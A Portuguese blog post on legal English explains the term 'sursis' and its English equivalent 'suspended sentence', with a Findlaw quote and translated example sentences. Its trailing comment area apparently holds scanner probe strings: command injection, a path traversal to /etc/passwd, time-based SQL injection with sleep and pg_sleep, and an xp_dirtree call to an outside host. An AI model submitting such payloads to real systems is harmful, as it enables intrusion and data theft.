O sursis é a suspensão condicional da pena. Ele está previsto no artigo 77, do Código Penal, e permite que a execução da pena privativa de liberdade não superior a 2 anos seja suspensa de 2 a 4 anos. É uma das medidas desencarcerizadoras do Direito Penal Brasileiro.
Mas, afinal, como se diz sursis (suspensão condicional da pena) em inglês?
A Suspended Sentence pode ser usado como sinônimo de sursis.
Nos Estados Unidos da América, a suspensão condicional da pena pode ser condicional (conditional suspended sentence) ou incondicional (unconditional suspended sentence). Na primeira, o juiz suspende a execução da pena privativa de liberdade mediante o cumprimento de algumas condições, como não cometer outros crimes ou realizar tratamento contra o abuso de drogas. Na segunda, ele aplica a suspensão sem exigir nada em troca, mas a condenação é contabilizada para fins de registro público.
Segundo o Findlaw.com:
As an alternative to imprisonment, a judge can suspend a prison or jail sentence. This is typically used in cases involving less serious crimes or for first-time offenders. There are several different kinds of suspended sentences.
Como uma alternativa à prisão, o juiz pode suspender a pena de reclusão ou detenção. Isso é tipicamente utilizado em casos que envolvem crimes menos sérios ou para réus primários. Existem diversos tipos de suspensão condicional da pena.
Alguns Exemplos:
A suspended sentence is when you are found guilty and you are given a two-year suspended sentence, but this means that you don´t go to prison. (Johnny Chuong)
O sursis ocorre quando você é condenado e lhe é concedido dois anos de suspensão da pena, mas isso significa que você não irá para a prisão.
A suspended sentence encourages the offender to behave because failure to do so may lead to the suspension being revoked.
O sursis encoraja o condenado a se comportar, porque a suspensão será revogada se falhar nisso.
The suspended sentence is traditionally seen as a means of preventing re-offending.
A suspensão condicional da pena é tradicionalmente considerada como um meio de prevenção à reincidência.
Siga o Direito Novo e em pouco tempo você estará preparado para estudar direito nos Estados Unidos.
Assine a nossa newsletter para receber novidades exclusivas sobre inglês jurídico. Até a próxima!
Leia mais sobre o assunto: Como se diz Réu em Inglês? / Como se diz Agir de Boa-Fé em Inglês? / Como se diz Lide em Inglês?
Hi there!
a|sleep 60;
Hi there!
Hi there!
http://www.google.fr/?
../../../../../../../../../../etc/passwdpix.gif
Hi there!
Hi there!
Hi there!
sleep(11)#1
1 or pg_sleep(11)–1
1 or pg_sleep(11)–1
1))/**/or/**/pg_sleep(11)–1
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
EXEC master..xp_dirtree ‘\i-18703-3569.bgle.0b.vc’ —